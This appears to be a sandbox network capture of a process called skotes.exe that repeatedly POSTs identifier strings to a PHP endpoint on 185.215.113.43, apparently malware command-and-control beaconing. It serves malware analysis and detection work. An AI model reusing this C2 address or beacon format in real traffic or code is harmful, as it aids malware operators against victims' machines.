Nov 29, 2024 19:53:06.853205919 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:53:08.282141924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50220	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:10.032815933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:53:11.369138002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50222	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:13.012172937 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:53:14.443814993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50224	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:16.200886965 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:53:17.629236937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50225	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:19.278083086 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:53:20.637520075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50226	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:22.375210047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:53:23.770910025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50227	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:25.414284945 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:53:26.849073887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50228	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:28.601600885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:53:30.004695892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50229	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:31.650531054 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:53:33.008059978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50230	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:34.745846987 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:53:36.188019991 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50231	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:37.822577953 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:53:39.243714094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50232	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:40.979604959 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:53:42.420938015 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50233	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:44.057661057 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:53:45.395174026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50234	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:47.135494947 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:53:48.564459085 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50235	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:50.194147110 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:53:51.593537092 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50236	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:53.334784031 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:53:54.667499065 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50238	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:56.308988094 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:53:57.757222891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:53:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50239	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:53:59.508232117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:54:00.931372881 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50240	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:02.568847895 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:54:03.973732948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50242	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:05.726044893 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:54:07.117393017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50243	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:08.761662960 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:54:10.220459938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50247	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:11.961317062 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:54:13.355381012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50248	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:14.999226093 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:54:16.414124966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50249	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
